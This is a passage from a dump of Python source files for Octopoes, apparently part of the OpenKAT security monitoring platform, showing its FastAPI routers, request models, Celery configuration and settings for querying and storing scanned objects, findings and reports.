None:\n    logger.info(exc)\n    raise HTTPException(status.HTTP_404_NOT_FOUND, detail=\"Node not found\")\n\n\n@app.exception_handler(ObjectNotFoundException)\ndef not_found_exception_handler(_: Request, exc: ObjectNotFoundException) -> None:\n    logger.info(exc)\n    raise HTTPException(status.HTTP_404_NOT_FOUND, detail=str(exc))\n\n\n@app.exception_handler(Exception)\ndef uncaught_exception_handler(_: Request, exc: Exception) -> None:\n    logger.error(exc)\n    raise HTTPException(status.HTTP_500_INTERNAL_SERVER_ERROR, detail=f\"{exc.__class__.__name__}: {exc}\")\n\n\n@app.get(\"/health\")\ndef root_health() -> ServiceHealth:\n    return ServiceHealth(service=\"octopoes\", healthy=True, version=__version__)\n\n\napp.include_router(router)\napp.include_router(bulk_router)\n"
  },
  {
    "path": "octopoes/octopoes/api/bulk_router.py",
    "content": "import uuid\nfrom datetime import datetime\n\nimport structlog\nfrom fastapi import APIRouter, Depends, Query\n\nfrom octopoes.api.router import extract_reference, extract_valid_time, settings\nfrom octopoes.api.router import settings as extract_settings\nfrom octopoes.config.settings import QUEUE_NAME_OCTOPOES, Settings\nfrom octopoes.core.app import bootstrap_octopoes, get_xtdb_client\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.reports import HydratedReport\nfrom octopoes.models.types import OOIType\nfrom octopoes.repositories.ooi_repository import XTDBOOIRepository\nfrom octopoes.tasks.app import app as celery_app\nfrom octopoes.xtdb.client import XTDBSession\n\nlogger = structlog.get_logger(__name__)\nrouter = APIRouter()\n\n\n@router.post(\"/reports\", tags=[\"Reports\"])\ndef list_reports(\n    reports_filters: list[tuple[str, uuid.UUID]],\n    settings_: Settings = Depends(extract_settings),\n    valid_time: datetime = Depends(extract_valid_time),\n) -> dict[uuid.UUID, HydratedReport]:\n    \"\"\"\n    An efficient endpoint for getting reports across organizations\n    \"\"\"\n\n    # The reason for creating the event_manager do this in the loop is the '_try_connect()' call in the __init__\n    # possibly slowing this down, while this API was introduced to improve performance. Simply reusing it for all\n    # nodes works because the event manager is only used in callbacks triggered on a `commit()`, while these queries\n    # are read-only and hence don't need a `commit()` as no events would be triggered. (A cleaner solution would perhaps\n    #  be to extract an interface and pass a new NullManager.)\n    event_manager = EventManager(\"null\", str(settings_.queue_uri), celery_app, QUEUE_NAME_OCTOPOES)\n\n    # The xtdb_http_client is also created outside the loop and the `_node` property changed inside the loop instead,\n    # to reuse the httpx Session for all requests.\n    xtdb_http_client = get_xtdb_client(str(settings_.xtdb_uri), \"\")\n    ooi_repository = XTDBOOIRepository(event_manager, XTDBSession(xtdb_http_client))\n\n    reports = {}\n\n    for organization, recipe_id in reports_filters:\n        xtdb_http_client.node = organization\n\n        for report in ooi_repository.list_reports(valid_time, 0, 1, recipe_id, ignore_count=True).items:\n            reports[recipe_id] = report\n\n    return reports\n\n\n@router.get(\"/object-clients\", tags=[\"Objects\"])\ndef list_object_clients(\n    clients: set[str] = Query(default_factory=set),\n    reference: Reference = Depends(extract_reference),\n    settings_: Settings = Depends(settings),\n    valid_time: datetime = Depends(extract_valid_time),\n) -> dict[str, OOIType]:\n    \"\"\"\n    An efficient endpoint for checking if OOIs live in multiple organizations\n    \"\"\"\n\n    # See list_reports() for some of the reasoning behind the below code\n    xtdb_http_client = get_xtdb_client(str(settings_.xtdb_uri), \"\")\n    session = XTDBSession(xtdb_http_client)\n\n    octopoes = bootstrap_octopoes(\"null\", session)\n    organizations_with_reference = {}\n\n    for organization in clients:\n        xtdb_http_client.node = organization\n\n        try:\n            ooi = octopoes.get_ooi(reference, valid_time)\n        except ObjectNotFoundException:\n            continue\n\n        organizations_with_reference[organization] = ooi\n\n    return organizations_with_reference\n"
  },
  {
    "path": "octopoes/octopoes/api/models.py",
    "content": "import uuid\nfrom datetime import datetime\nfrom typing import Annotated, Any\n\nfrom pydantic import AwareDatetime, BaseModel, Field\n\nfrom octopoes.models import Reference\nfrom octopoes.models.types import ConcreteOOIType, OOIType\n\n\nclass ServiceHealth(BaseModel):\n    service: str\n    healthy: bool = False\n    version: str | None = None\n    additional: Any = None\n    results: list[\"ServiceHealth\"] = Field(default_factory=list)\n\n\nServiceHealth.model_rebuild()\n\n\nclass _BaseObservation(BaseModel):\n    method: str\n    source: Reference\n    source_method: str | None\n    result: list[OOIType]\n    valid_time: AwareDatetime\n    task_id: uuid.UUID\n\n\n# Connector models (more generic)\nclass Observation(_BaseObservation):\n    \"\"\"Used by Octopoes Connector to describe request body\"\"\"\n\n    result: list[OOIType]\n    valid_time: datetime\n\n\nclass Declaration(BaseModel):\n    \"\"\"Used by Octopoes Connector to describe request body\"\"\"\n\n    ooi: OOIType\n    valid_time: datetime\n    end_valid_time: datetime | None = None\n    method: str | None = None\n    source_method: str | None = None\n    task_id: uuid.UUID | None = None\n\n\nclass Affirmation(BaseModel):\n    \"\"\"Used by Octopoes Connector to describe request body\"\"\"\n\n    ooi: OOIType\n    valid_time: datetime\n    method: str | None = None\n    source_method: str | None = None\n    task_id: uuid.UUID | None = None\n\n\nclass ScanProfileDeclaration(BaseModel):\n    reference: Reference\n    level: int\n    valid_time: datetime\n\n\nValidatedOOIType = Annotated[ConcreteOOIType, Field(discriminator=\"object_type\")]\n\n\n# API models (timezone validation and pydantic parsing)\nclass ValidatedObservation(_BaseObservation):\n    \"\"\"Used by Octopoes API to validate and parse correctly\"\"\"\n\n    result: list[ValidatedOOIType]\n    valid_time: AwareDatetime\n    source_method: str | None = None\n\n\nclass ValidatedDeclaration(BaseModel):\n    \"\"\"Used by Octopoes API to validate and parse correctly\"\"\"\n\n    ooi: ValidatedOOIType\n    valid_time: AwareDatetime\n    end_valid_time: AwareDatetime | None = None\n    method: str | None = \"manual\"\n    source_method: str | None = None\n    task_id: uuid.UUID | None = Field(default_factory=uuid.uuid4)\n\n\nclass ValidatedAffirmation(BaseModel):\n    \"\"\"Used by Octopoes API to validate and parse correctly\"\"\"\n\n    ooi: ValidatedOOIType\n    valid_time: AwareDatetime\n    method: str | None = \"hydration\"\n    source_method: str | None = None\n    task_id: uuid.UUID | None = Field(default_factory=uuid.uuid4)\n"
  },
  {
    "path": "octopoes/octopoes/api/router.py",
    "content": "import json\nimport uuid\nfrom collections import Counter\nfrom collections.abc import Generator\nfrom datetime import datetime\nfrom operator import itemgetter\nfrom typing import Any, Literal\n\nimport structlog\nfrom asgiref.sync import sync_to_async\nfrom fastapi import APIRouter, Body, Depends, HTTPException, Path, Query, Request, status\nfrom pydantic import AwareDatetime\n\nfrom octopoes.api.models import ServiceHealth, ValidatedAffirmation, ValidatedDeclaration, ValidatedObservation\nfrom octopoes.config.settings import (\n    DEFAULT_LIMIT,\n    DEFAULT_OFFSET,\n    DEFAULT_SCAN_LEVEL_FILTER,\n    DEFAULT_SEVERITY_FILTER,\n    Settings,\n)\nfrom octopoes.core.app import bootstrap_octopoes, get_xtdb_client\nfrom octopoes.core.service import OctopoesService\nfrom octopoes.models import OOI, Reference, ScanLevel, ScanProfile, ScanProfileBase, ScanProfileType\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.explanation import InheritanceSection\nfrom octopoes.models.ooi.findings import Finding, RiskLevelSeverity\nfrom octopoes.models.ooi.reports import HydratedReport\nfrom octopoes.models.origin import Origin, OriginParameter, OriginType\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.path import Path as ObjectPath\nfrom octopoes.models.transaction import TransactionRecord\nfrom octopoes.models.tree import ReferenceTree\nfrom octopoes.models.types import type_by_name\nfrom octopoes.repositories.origin_repository import XTDBOriginRepository\nfrom octopoes.xtdb.client import Operation, OperationType, XTDBSession\nfrom octopoes.xtdb.exceptions import XTDBException\nfrom octopoes.xtdb.query import Aliased\nfrom octopoes.xtdb.query import Query as XTDBQuery\n\nlogger = structlog.get_logger(__name__)\nrouter = APIRouter(prefix=\"/{client}\")\n\n\n# Dependencies\ndef extract_client(client: str = Path(...)) -> str:\n    return client\n\n\ndef extract_valid_time(valid_time: AwareDatetime) -> datetime:\n    return valid_time\n\n\ndef extract_types(types: list[str] = Query([\"OOI\"])) -> set[type[OOI]]:\n    try:\n        return {type_by_name(t) for t in types}\n    except KeyError as e:\n        raise ObjectNotFoundException(str(e.args))\n\n\ndef extract_reference(reference: str = Query(\"\")) -> Reference:\n    return Reference.from_str(reference)\n\n\ndef extract_references(references: list[str]) -> list[Reference]:\n    return [Reference.from_str(reference) for reference in references]\n\n\ndef extract_references_from_query(references: list[str] = Query(\"\")) -> list[Reference]:\n    return [Reference.from_str(reference) for reference in references]\n\n\ndef settings() -> Settings:\n    return Settings()\n\n\ndef xtdb_session(\n    client: str = Depends(extract_client), settings_: Settings = Depends(settings)\n) -> Generator[XTDBSession, None, None]:\n    yield XTDBSession(get_xtdb_client(str(settings_.xtdb_uri), client))\n\n\ndef octopoes_service(client: str = Depends(extract_client)) -> OctopoesService:\n    return bootstrap_octopoes(client)\n\n\n# Endpoints\n@router.get(\"/health\")\ndef health(octopoes: OctopoesService = Depends(octopoes_service)) -> ServiceHealth:\n    return octopoes.health()\n\n\n# OOI-related endpoints\n@router.get(\"/objects\", tags=[\"Objects\"])\ndef list_objects(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    types: set[type[OOI]] = Depends(extract_types),\n    scan_level: set[ScanLevel] | None = Query(None),\n    scan_profile_type: set[ScanProfileType] | None = Query(None),\n    offset: int = 0,\n    limit: int = 20,\n    search_string: str | None = None,\n    order_by: Literal[\"scan_level\", \"object_type\"] = \"object_type\",\n    asc_desc: Literal[\"asc\", \"desc\"] = \"asc\",\n):\n    return octopoes.list_ooi(\n        types, valid_time, offset, limit, scan_level, scan_profile_type, search_string, order_by, asc_desc\n    )\n\n\n@router.get(\"/query\", tags=[\"Objects\"])\ndef query(\n    path: str,\n    source: Reference | None = None,\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    offset: int = DEFAULT_OFFSET,\n    limit: int = DEFAULT_LIMIT,\n):\n    object_path = ObjectPath.parse(path)\n    xtdb_query = XTDBQuery.from_path(object_path).offset(offset).limit(limit)\n\n    if source is not None and object_path.segments:\n        xtdb_query = xtdb_query.where(object_path.segments[0].source_type, primary_key=str(source))\n\n    return octopoes.ooi_repository.query(xtdb_query, valid_time)\n\n\n@router.get(\"/query-many\", tags=[\"Objects\"])\ndef query_many(\n    path: str,\n    sources: list[str] = Query(),\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n):\n    \"\"\"\n    How does this work and why do we do this?\n\n    We want to fetch all results but be able to tie these back to the source that was used for a result.\n    If we query \"Network.hostname\" for a list of Networks ids, how do we know which hostname lives on which network?\n    The answer is to add the network id to the \"select\" statement, so the result is of the form\n\n        [(network_id_1, hostname1), (network_id_2, hostname3), ...]\n\n    Because you can only select variables in Datalog, \"network_id_1\" needs to be an Alias. Hence `source_alias`.\n    We need to tie that to the Network primary_key and add a where-in clause. The example projected on the code:\n\n    q = XTDBQuery.from_path(object_path)                                    # Adds \"where ?Hostname.network = ?Network\n\n    q.find(source_alias).pull(query.result_type)                            # \"select ?network_id, ?Hostname\n     .where(object_path.segments[0].source_type, primary_key=source_alias)  # where ?Network.primary_key = ?network_id\n     .where_in(object_path.segments[0].source_type, primary_key=sources)    # and ?Network.primary_key in [\"1\", ...]\"\n    \"\"\"\n\n    if not sources:\n        return []\n\n    object_path = ObjectPath.parse(path)\n    if not object_path.segments:\n        raise HTTPException(status_code=400, detail=\"No path components provided.\")\n\n    q = XTDBQuery.from_path(object_path)\n    source_alias = Aliased(object_path.segments[0].source_type, field=\"primary_key\")\n\n    q = q.where(object_path.segments[0].source_type, primary_key=source_alias).where_in(\n        object_path.segments[0].source_type, primary_key=sources\n    )\n\n    if q._find_clauses:  # Path contained a target field, so no need to pull the result type\n        return octopoes.ooi_repository.query(q.find(source_alias, index=0), valid_time)\n\n    return octopoes.ooi_repository.query(q.find(source_alias, index=0).pull(q.result_type), valid_time)\n\n\n@router.post(\"/objects/load_bulk\", tags=[\"Objects\"])\ndef load_objects_bulk(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    references: set[Reference] = Depends(extract_references),\n    with_scan_profiles: bool = True,\n):\n    return octopoes.ooi_repository.load_bulk(references, valid_time, with_scan_profiles)\n\n\n@router.get(\"/objects/by_reference\", tags=[\"Objects\"])\ndef get_objects_by_reference(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    references: set[Reference] = Depends(extract_references_from_query),\n    with_scan_profiles: bool = True,\n):\n    return octopoes.ooi_repository.load_bulk(references, valid_time, with_scan_profiles)\n\n\n@router.get(\"/object\", tags=[\"Objects\"])\ndef get_object(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    reference: Reference = Depends(extract_reference),\n):\n    return octopoes.get_ooi(reference, valid_time)\n\n\n@router.get(\"/object-history\", tags=[\"Objects\"])\ndef get_object_history(\n    reference: Reference = Depends(extract_reference),\n    sort_order: str = \"asc\",  # Or: \"desc\"\n    with_docs: bool = False,\n    has_doc: bool | None = None,\n    offset: int = 0,\n    limit: int | None = None,\n    indices: list[int] | None = Query(None),\n    octopoes: OctopoesService = Depends(octopoes_service),\n) -> list[TransactionRecord]:\n    return octopoes.get_ooi_history(\n        reference,\n        sort_order=sort_order,\n        with_docs=with_docs,\n        has_doc=has_doc,\n        offset=offset,\n        limit=limit,\n        indices=indices,\n    )\n\n\n@router.get(\"/objects/random\", tags=[\"Objects\"])\ndef list_random_objects(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    amount: int = 1,\n    scan_level: set[ScanLevel] = Query(DEFAULT_SCAN_LEVEL_FILTER),\n):\n    return octopoes.list_random_ooi(valid_time, amount, scan_level)\n\n\n@router.delete(\"/\", tags=[\"Objects\"])\ndef delete_object(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    reference: Reference = Depends(extract_reference),\n    sync: bool = False,\n) -> None:\n    octopoes.ooi_repository.delete(reference, valid_time)\n    octopoes.commit(sync=sync)\n\n\n@router.delete(\"/origins\", tags=[\"Origins\"])\ndef delete_origin(\n    origin_id: str,\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    sync: bool = False,\n) -> None:\n    origin = octopoes.origin_repository.get(origin_id, valid_time)\n    octopoes.origin_repository.delete(origin, valid_time)\n    octopoes.commit(sync=sync)\n\n\n@router.post(\"/objects/delete_many\", tags=[\"Objects\"])\ndef delete_many(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    references: list[Reference] = Depends(extract_references),\n    sync: bool = False,\n) -> None:\n    for reference in references:\n        octopoes.ooi_repository.delete(reference, valid_time)\n\n    octopoes.commit(sync=sync)\n\n\n@router.get(\"/tree\", tags=[\"Objects\"])\ndef get_tree(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    types: set[type[OOI]] = Depends(extract_types),\n    reference: Reference = Depends(extract_reference),\n    depth: int = 1,\n    with_scan_profiles: bool = False,\n) -> ReferenceTree:\n    return octopoes.get_ooi_tree(reference, valid_time, types, depth, with_scan_profiles)\n\n\n@router.get(\"/origins\", tags=[\"Origins\"])\ndef list_origins(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    offset: int = 0,\n    limit: int | None = None,\n    source: Reference | None = Query(None),\n    result: Reference | None = Query(None),\n    method: str | list[str] | None = Query(None),\n    task_id: uuid.UUID | None = Query(None),\n    origin_type: OriginType | None = Query(None),\n) -> list[Origin]:\n    return octopoes.origin_repository.list_origins(\n        valid_time,\n        task_id=task_id,\n        offset=offset,\n        limit=limit,\n        source=source,\n        result=result,\n        method=method,\n        origin_type=origin_type,\n    )\n\n\n@router.get(\"/origin_parameters\", tags=[\"Origins\"])\ndef list_origin_parameters(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    origin_id: set[str] = Query(default=set()),\n) -> list[OriginParameter]:\n    return octopoes.origin_parameter_repository.list_by_origin(origin_id, valid_time)\n\n\n@router.post(\"/observations\", tags=[\"Origins\"])\ndef save_observation(\n    observation: ValidatedObservation, sync: bool = False, octopoes: OctopoesService = Depends(octopoes_service)\n) -> None:\n    origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=observation.method,\n        source=observation.source,\n        source_method=observation.source_method,\n        result=[ooi.reference for ooi in observation.result],\n        task_id=observation.task_id,\n    )\n    octopoes.save_origin(origin, observation.result, observation.valid_time)\n    octopoes.commit(sync=sync)\n\n\n@router.post(\"/declarations\", tags=[\"Origins\"])\ndef save_declaration(\n    declaration: ValidatedDeclaration, sync: bool = False, octopoes: OctopoesService = Depends(octopoes_service)\n) -> None:\n    origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=declaration.method if declaration.method else \"manual\",\n        source=declaration.ooi.reference,\n        source_method=declaration.source_method,\n        result=[declaration.ooi.reference],\n        task_id=declaration.task_id if declaration.task_id else uuid.uuid4(),\n    )\n    octopoes.save_origin(origin, [declaration.ooi], declaration.valid_time, declaration.end_valid_time)\n    octopoes.commit(sync=sync)\n\n\n@router.post(\"/declarations/save_many\", tags=[\"Origins\"])\ndef save_many_declarations(\n    declarations: list[ValidatedDeclaration], sync: bool = False, octopoes: OctopoesService = Depends(octopoes_service)\n) -> None:\n    for declaration in declarations:\n        origin = Origin(\n            origin_type=OriginType.DECLARATION,\n            method=declaration.method if declaration.method else \"manual\",\n            source=declaration.ooi.reference,\n            source_method=declaration.source_method,\n            result=[declaration.ooi.reference],\n            task_id=declaration.task_id if declaration.task_id else uuid.uuid4(),\n        )\n        octopoes.save_origin(origin, [declaration.ooi], declaration.valid_time, declaration.end_valid_time)\n\n    octopoes.commit(sync=sync)\n\n\n@router.post(\"/affirmations\", tags=[\"Origins\"])\ndef save_affirmation(\n    affirmation: ValidatedAffirmation, sync: bool = False, octopoes: OctopoesService = Depends(octopoes_service)\n) -> None:\n    origin = Origin(\n        origin_type=OriginType.AFFIRMATION,\n        method=affirmation.method if affirmation.method else \"hydration\",\n        source=affirmation.ooi.reference,\n        source_method=affirmation.source_method,\n        result=[affirmation.ooi.reference],\n        task_id=affirmation.task_id if affirmation.task_id else uuid.uuid4(),\n    )\n    octopoes.save_origin(origin, [affirmation.ooi], affirmation.valid_time)\n    octopoes.commit(sync=sync)\n\n\n# ScanProfile-related endpoints\n@router.get(\"/scan_profiles\", tags=[\"Scan Profiles\"])\ndef list_scan_profiles(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    scan_profile_type: str | None = Query(None),\n) -> list[ScanProfileBase]:\n    return octopoes.scan_profile_repository.list_scan_profiles(scan_profile_type, valid_time)\n\n\n@router.put(\"/scan_profiles\", tags=[\"Scan Profiles\"])\ndef save_scan_profile(\n    scan_profile: ScanProfile = Body(discriminator=\"scan_profile_type\"),\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    sync: bool = False,\n) -> None:\n    try:\n        old_scan_profile = octopoes.scan_profile_repository.get(scan_profile.reference, valid_time)\n    except ObjectNotFoundException:\n        old_scan_profile = None\n\n    octopoes.scan_profile_repository.save(old_scan_profile, scan_profile, valid_time)\n    octopoes.commit(sync=sync)\n\n\n@router.post(\"/scan_profiles/save_many\", tags=[\"Scan Profiles\"])\ndef save_many(\n    scan_profiles: list[ScanProfile],\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    sync: bool = False,\n) -> None:\n    for scan_profile in scan_profiles:\n        try:\n            old_scan_profile = octopoes.scan_profile_repository.get(scan_profile.reference, valid_time)\n        except ObjectNotFoundException:\n            old_scan_profile = None\n\n        octopoes.scan_profile_repository.save(old_scan_profile, scan_profile, valid_time)\n\n    octopoes.commit(sync=sync)\n\n\n@router.get(\"/scan_profiles/recalculate\", tags=[\"Scan Profiles\"])\ndef recalculate_scan_profiles(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    sync: bool = False,\n) -> None:\n    octopoes.recalculate_scan_profiles(valid_time)\n    octopoes.commit(sync=sync)\n\n\n@router.get(\"/scan_profiles/inheritance\", tags=[\"Scan Profiles\"])\ndef get_scan_profile_inheritance(\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    reference: Reference = Depends(extract_reference),\n) -> list[InheritanceSection]:\n    ooi = octopoes.get_ooi(reference, valid_time)\n    if not ooi.scan_profile:\n        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"OOI does not have a scanprofile\")\n\n    start = InheritanceSection(\n        reference=ooi.reference, level=ooi.scan_profile.level, scan_profile_type=ooi.scan_profile.scan_profile_type\n    )\n    if ooi.scan_profile.scan_profile_type == ScanProfileType.DECLARED.value:\n        return [start]\n    return octopoes.get_scan_profile_inheritance(reference, valid_time, [start])\n\n\n@router.get(\"/findings\", tags=[\"Findings\"])\ndef list_findings(\n    exclude_muted: bool = True,\n    only_muted: bool = False,\n    offset: int = DEFAULT_OFFSET,\n    limit: int = DEFAULT_LIMIT,\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    severities: set[RiskLevelSeverity] = Query(DEFAULT_SEVERITY_FILTER),\n    search_string: str | None = None,\n    order_by: Literal[\"score\", \"finding_type\"] = \"score\",\n    asc_desc: Literal[\"asc\", \"desc\"] = \"desc\",\n) -> Paginated[Finding]:\n    return octopoes.ooi_repository.list_findings(\n        severities, valid_time, exclude_muted, only_muted, offset, limit, search_string, order_by, asc_desc\n    )\n\n\n@router.get(\"/reports\", tags=[\"Reports\"])\ndef list_reports(\n    offset: int = DEFAULT_OFFSET,\n    limit: int = DEFAULT_LIMIT,\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n    recipe_id: uuid.UUID | None = Query(None),\n) -> Paginated[HydratedReport]:\n    return octopoes.ooi_repository.list_reports(valid_time, offset, limit, recipe_id)\n\n\n@router.get(\"/reports/{report_id}\", tags=[\"Reports\"])\ndef get_report(\n    report_id: str,\n    octopoes: OctopoesService = Depends(octopoes_service),\n    valid_time: datetime = Depends(extract_valid_time),\n) -> HydratedReport:\n    return octopoes.ooi_repository.get_report(valid_time, report_id)\n\n\n@router.get(\"/findings/count_by_severity\", tags=[\"Findings\"])\ndef get_finding_type_count(\n    octopoes: OctopoesService = Depends(octopoes_service), valid_time: datetime = Depends(extract_valid_time)\n) -> Counter:\n    return octopoes.ooi_repository.count_findings_by_severity(valid_time)\n\n\n@router.post(\"/node\", tags=[\"Node\"])\ndef create_node(xtdb_session_: XTDBSession = Depends(xtdb_session)) -> None:\n    try:\n        xtdb_session_.client.create_node()\n        xtdb_session_.commit()\n    except XTDBException as e:\n        raise HTTPException(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=\"Creating node failed\") from e\n\n\n@router.delete(\"/node\", tags=[\"Node\"])\ndef delete_node(xtdb_session_: XTDBSession = Depends(xtdb_session)) -> None:\n    try:\n        xtdb_session_.client.delete_node()\n        xtdb_session_.commit()\n    except XTDBException as e:\n        raise HTTPException(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=\"Deleting node failed\") from e\n\n\n@router.post(\"/bits/recalculate\", tags=[\"Bits\"])\ndef recalculate_bits(octopoes: OctopoesService = Depends(octopoes_service), sync: bool = False) -> int:\n    try:\n        inference_count = octopoes.recalculate_bits()\n    except ObjectNotFoundException:\n        logger.exception(\"Failed to recalculate bits\")\n        raise\n\n    octopoes.commit(sync=sync)\n\n    return inference_count\n\n\n@router.get(\"/io/export\", tags=[\"io\"])\ndef exporter(xtdb_session_: XTDBSession = Depends(xtdb_session)) -> Any:\n    return xtdb_session_.client.export_transactions()\n\n\n@sync_to_async\ndef importer(data: bytes, xtdb_session_: XTDBSession, reset: bool = False) -> dict[str, int]:\n    try:\n        ops: list[dict[str, Any]] = list(map(itemgetter(\"txOps\"), json.loads(data)))\n    except Exception as e:\n        logger.debug(\"Error parsing objects\", exc_info=True)\n        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"Error parsing objects\") from e\n    if reset:\n        try:\n            xtdb_session_.client.delete_node()\n            xtdb_session_.client.create_node()\n            xtdb_session_.commit()\n        except XTDBException as e:\n            raise HTTPException(\n                status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=\"Error recreating nodes\"\n            ) from e\n    for op in ops:\n        try:\n            operations: list[Operation] = [\n                (OperationType(x[0]), x[1], datetime.strptime(x[2], \"%Y-%m-%dT%H:%M:%SZ\")) for x in op\n            ]\n            xtdb_session_.client.submit_transaction(operations)\n        except Exception as e:\n            logger.debug(\"Error importing objects\", exc_info=True)\n            raise HTTPException(\n                status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=f\"Error importing object {op}\"\n            ) from e\n    return {\"detail\": len(ops)}\n\n\n@router.post(\"/io/import/add\", tags=[\"io\"])\nasync def importer_add(request: Request, xtdb_session_: XTDBSession = Depends(xtdb_session)) -> dict[str, int]:\n    try:\n        data = await request.body()\n    except Exception as e:\n        raise HTTPException(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=\"Error receiving objects\") from e\n    return await importer(data, xtdb_session_)\n\n\n@router.post(\"/io/import/new\", tags=[\"io\"])\nasync def importer_new(request: Request, xtdb_session_: XTDBSession = Depends(xtdb_session)) -> dict[str, int]:\n    try:\n        data = await request.body()\n    except Exception as e:\n        raise HTTPException(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=\"Error receiving objects\") from e\n    return await importer(data, xtdb_session_, True)\n\n\n@router.post(\"/origins/migrate\", tags=[\"Origins\"])\ndef migrate_origins(\n    origins: list[Origin],\n    session: XTDBSession = Depends(xtdb_session),\n    valid_time: datetime = Depends(extract_valid_time),\n) -> None:\n    for origin in origins:\n        if origin.source_method is None:\n            raise HTTPException(\n                status_code=status.HTTP_400_BAD_REQUEST, detail=\"Only origins with a new source method can be migrated\"\n            )\n\n        session.add((OperationType.PUT, XTDBOriginRepository.serialize(origin), valid_time))\n\n        origin.source_method = None  # To ensure the id property has the original pk value that we want to delete\n        session.add((OperationType.DELETE, origin.id, valid_time))\n\n    session.commit()  # The save-delete order is important to avoid garbage collection of the results\n"
  },
  {
    "path": "octopoes/octopoes/config/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/config/celery.py",
    "content": "from kombu import Queue\n\nfrom octopoes.config.settings import QUEUE_NAME_OCTOPOES, Settings\n\nsettings = Settings()\n\nbroker_url = str(settings.queue_uri)\nresult_backend = f\"rpc://{settings.queue_uri}\"\n\ntask_serializer = \"json\"\nresult_serializer = \"json\"\nevent_serializer = \"json\"\naccept_content = [\"application/json\", \"application/x-python-serialize\"]\nresult_accept_content = [\"application/json\", \"application/x-python-serialize\"]\n\ntask_queues = (Queue(QUEUE_NAME_OCTOPOES),)\n\nworker_concurrency = settings.workers\n"
  },
  {
    "path": "octopoes/octopoes/config/settings.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import Any, Literal\n\nfrom pydantic import AmqpDsn, AnyHttpUrl, Field, FilePath\nfrom pydantic_settings import BaseSettings, EnvSettingsSource, PydanticBaseSettingsSource, SettingsConfigDict\n\nfrom octopoes.models import ScanLevel, ScanProfileType\nfrom octopoes.models.ooi.findings import RiskLevelSeverity\n\nBASE_DIR: Path = Path(__file__).parent.parent.parent.resolve()\n\n# Set base dir to something generic when compiling environment docs\nif os.getenv(\"DOCS\"):\n    BASE_DIR = Path(\"../../../\")\n\n\nclass BackwardsCompatibleEnvSettings(EnvSettingsSource):\n    backwards_compatibility_mapping = {\"LOG_CFG\": \"OCTOPOES_LOG_CFG\"}\n\n    def __call__(self) -> dict[str, Any]:\n        d: dict[str, Any] = {}\n        env_vars = {k.lower(): v for k, v in os.environ.items()}\n        env_prefix = self.settings_cls.model_config.get(\"env_prefix\", \"\").lower()\n\n        for old_name, new_name in self.backwards_compatibility_mapping.items():\n            old_name, new_name = old_name.lower(), new_name.lower()\n\n            # New variable not explicitly set through env,\n            # ...but old variable has been explicitly set through env\n            if new_name not in env_vars and old_name in env_vars:\n                logging.warning(\"Deprecation: %s is deprecated, use %s instead\", old_name.upper(), new_name.upper())\n                d[new_name[len(env_prefix) :]] = env_vars[old_name]\n\n        return d\n\n\nclass Settings(BaseSettings):\n    \"\"\"Application settings loaded from environment variables.\"\"\"\n\n    # Application settings\n    log_cfg: FilePath = Field(BASE_DIR / \"logging.yml\", description=\"Path to the logging configuration file\")\n\n    # External services settings\n    queue_uri: AmqpDsn = Field(..., examples=[\"amqp://\"], description=\"KAT queue URI\", validation_alias=\"QUEUE_URI\")\n    xtdb_uri: AnyHttpUrl = Field(\n        ..., examples=[\"http://xtdb:3000\"], description=\"XTDB API\", validation_alias=\"XTDB_URI\"\n    )\n\n    katalogus_api: AnyHttpUrl = Field(\n        ..., examples=[\"http://localhost:8003\"], description=\"Katalogus API URL\", validation_alias=\"KATALOGUS_API\"\n    )\n\n    scan_level_recalculation_interval: int = Field(\n        60, description=\"Interval in seconds of the periodic task that recalculates scan levels\"\n    )\n    